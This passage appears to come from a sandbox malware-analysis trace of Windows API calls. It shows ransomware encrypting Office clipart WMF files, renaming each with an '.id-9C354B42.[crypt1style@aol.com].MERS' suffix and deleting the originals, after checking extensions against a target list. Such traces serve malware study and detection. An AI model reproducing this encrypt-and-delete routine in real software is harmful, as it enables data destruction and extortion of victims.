lpNewFilePointer=0x0) returned 1 [0272.078] SetEndOfFile (hFile=0x3cc) returned 1 [0272.080] CloseHandle (hObject=0x3cc) returned 1 [0272.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0272.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0272.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0272.080] lstrlenW (lpString=".doc") returned 4 [0272.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.080] lstrlenW (lpString=".docx") returned 5 [0272.080] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.081] lstrlenW (lpString=".pdf") returned 4 [0272.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.081] lstrlenW (lpString=".xls") returned 4 [0272.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.081] lstrlenW (lpString=".xlsx") returned 5 [0272.081] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.081] lstrlenW (lpString=".ppt") returned 4 [0272.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0272.081] lstrlenW (lpString=".zip") returned 4 [0272.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.081] lstrlenW (lpString=".rar") returned 4 [0272.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.081] lstrlenW (lpString=".bz2") returned 4 [0272.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.081] lstrlenW (lpString=".7z") returned 3 [0272.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0272.081] lstrlenW (lpString=".dbf") returned 4 [0272.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0272.081] lstrlenW (lpString=".1cd") returned 4 [0272.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0272.081] lstrlenW (lpString=".jpg") returned 4 [0272.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0272.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0272.081] lstrlenW (lpString=".doc") returned 4 [0272.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.081] lstrlenW (lpString=".docx") returned 5 [0272.081] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.081] lstrlenW (lpString=".pdf") returned 4 [0272.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.082] lstrlenW (lpString=".xls") returned 4 [0272.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.082] lstrlenW (lpString=".xlsx") returned 5 [0272.082] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.082] lstrlenW (lpString=".ppt") returned 4 [0272.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0272.082] lstrlenW (lpString=".zip") returned 4 [0272.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.082] lstrlenW (lpString=".rar") returned 4 [0272.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.082] lstrlenW (lpString=".bz2") returned 4 [0272.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.082] lstrlenW (lpString=".7z") returned 3 [0272.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0272.082] lstrlenW (lpString=".dbf") returned 4 [0272.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0272.082] lstrlenW (lpString=".1cd") returned 4 [0272.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0272.082] lstrlenW (lpString=".jpg") returned 4 [0272.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.082] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.082] lstrlenW (lpString="BL00248_.WMF") returned 12 [0272.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0272.083] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=1536) returned 1 [0272.083] CloseHandle (hObject=0x3cc) returned 1 [0272.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x20 [0272.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0272.083] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.083] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0272.083] GetLastError () returned 0x0 [0272.083] ReadFile (in: hFile=0x3cc, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x600, lpOverlapped=0x0) returned 1 [0272.320] WriteFile (in: hFile=0x2c8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x610, lpOverlapped=0x0) returned 1 [0272.324] ReadFile (in: hFile=0x3cc, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.324] WriteFile (in: hFile=0x2c8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.324] SetEndOfFile (hFile=0x2c8) returned 1 [0272.324] CloseHandle (hObject=0x2c8) returned 1 [0272.324] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.324] SetEndOfFile (hFile=0x3cc) returned 1 [0272.326] CloseHandle (hObject=0x3cc) returned 1 [0272.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.326] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0272.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0272.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0272.326] lstrlenW (lpString=".doc") returned 4 [0272.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.326] lstrlenW (lpString=".docx") returned 5 [0272.326] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.326] lstrlenW (lpString=".pdf") returned 4 [0272.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.326] lstrlenW (lpString=".xls") returned 4 [0272.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.326] lstrlenW (lpString=".xlsx") returned 5 [0272.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.326] lstrlenW (lpString=".ppt") returned 4 [0272.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0272.326] lstrlenW (lpString=".zip") returned 4 [0272.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.326] lstrlenW (lpString=".rar") returned 4 [0272.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.327] lstrlenW (lpString=".bz2") returned 4 [0272.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.327] lstrlenW (lpString=".7z") returned 3 [0272.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0272.327] lstrlenW (lpString=".dbf") returned 4 [0272.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0272.327] lstrlenW (lpString=".1cd") returned 4 [0272.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0272.327] lstrlenW (lpString=".jpg") returned 4 [0272.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0272.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0272.327] lstrlenW (lpString=".doc") returned 4 [0272.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.327] lstrlenW (lpString=".docx") returned 5 [0272.327] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.327] lstrlenW (lpString=".pdf") returned 4 [0272.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.327] lstrlenW (lpString=".xls") returned 4 [0272.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.327] lstrlenW (lpString=".xlsx") returned 5 [0272.327] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.327] lstrlenW (lpString=".ppt") returned 4 [0272.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0272.327] lstrlenW (lpString=".zip") returned 4 [0272.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.327] lstrlenW (lpString=".rar") returned 4 [0272.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.327] lstrlenW (lpString=".bz2") returned 4 [0272.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.328] lstrlenW (lpString=".7z") returned 3 [0272.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0272.328] lstrlenW (lpString=".dbf") returned 4 [0272.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0272.328] lstrlenW (lpString=".1cd") returned 4 [0272.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0272.328] lstrlenW (lpString=".jpg") returned 4 [0272.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.328] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.328] lstrlenW (lpString="BL00262_.WMF") returned 12 [0272.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0272.375] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=2556) returned 1 [0272.375] CloseHandle (hObject=0x418) returned 1 [0272.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x20 [0272.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0272.432] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.432] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0272.432] GetLastError () returned 0x0 [0272.432] ReadFile (in: hFile=0x360, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x9fc, lpOverlapped=0x0) returned 1 [0272.449] WriteFile (in: hFile=0x3f4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0272.450] ReadFile (in: hFile=0x360, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.450] WriteFile (in: hFile=0x3f4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.450] SetEndOfFile (hFile=0x3f4) returned 1 [0272.450] CloseHandle (hObject=0x3f4) returned 1 [0272.450] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.450] SetEndOfFile (hFile=0x360) returned 1 [0272.452] CloseHandle (hObject=0x360) returned 1 [0272.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0272.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0272.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0272.455] lstrlenW (lpString=".doc") returned 4 [0272.455] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.455] lstrlenW (lpString=".docx") returned 5 [0272.455] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.455] lstrlenW (lpString=".pdf") returned 4 [0272.455] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.455] lstrlenW (lpString=".xls") returned 4 [0272.455] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.455] lstrlenW (lpString=".xlsx") returned 5 [0272.456] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.456] lstrlenW (lpString=".ppt") returned 4 [0272.456] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0272.456] lstrlenW (lpString=".zip") returned 4 [0272.456] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.456] lstrlenW (lpString=".rar") returned 4 [0272.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.456] lstrlenW (lpString=".bz2") returned 4 [0272.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.464] lstrlenW (lpString=".7z") returned 3 [0272.464] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0272.464] lstrlenW (lpString=".dbf") returned 4 [0272.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0272.464] lstrlenW (lpString=".1cd") returned 4 [0272.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0272.464] lstrlenW (lpString=".jpg") returned 4 [0272.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0272.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0272.464] lstrlenW (lpString=".doc") returned 4 [0272.464] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.464] lstrlenW (lpString=".docx") returned 5 [0272.464] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.464] lstrlenW (lpString=".pdf") returned 4 [0272.464] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.464] lstrlenW (lpString=".xls") returned 4 [0272.464] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.464] lstrlenW (lpString=".xlsx") returned 5 [0272.465] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.465] lstrlenW (lpString=".ppt") returned 4 [0272.465] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0272.465] lstrlenW (lpString=".zip") returned 4 [0272.465] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.465] lstrlenW (lpString=".rar") returned 4 [0272.465] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.465] lstrlenW (lpString=".bz2") returned 4 [0272.465] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.465] lstrlenW (lpString=".7z") returned 3 [0272.465] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0272.465] lstrlenW (lpString=".dbf") returned 4 [0272.465] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0272.465] lstrlenW (lpString=".1cd") returned 4 [0272.465] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0272.465] lstrlenW (lpString=".jpg") returned 4 [0272.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.465] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.465] lstrlenW (lpString="BL00273_.WMF") returned 12 [0272.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0272.465] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=3780) returned 1 [0272.466] CloseHandle (hObject=0x3f4) returned 1 [0272.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x20 [0272.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0272.466] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.466] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0272.466] GetLastError () returned 0x0 [0272.466] ReadFile (in: hFile=0x3f4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0xec4, lpOverlapped=0x0) returned 1 [0272.500] WriteFile (in: hFile=0x2dc, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xed0, lpOverlapped=0x0) returned 1 [0272.501] ReadFile (in: hFile=0x3f4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.501] WriteFile (in: hFile=0x2dc, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.501] SetEndOfFile (hFile=0x2dc) returned 1 [0272.501] CloseHandle (hObject=0x2dc) returned 1 [0272.501] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.501] SetEndOfFile (hFile=0x3f4) returned 1 [0272.503] CloseHandle (hObject=0x3f4) returned 1 [0272.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0272.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0272.504] lstrlenW (lpString="C:\\Program 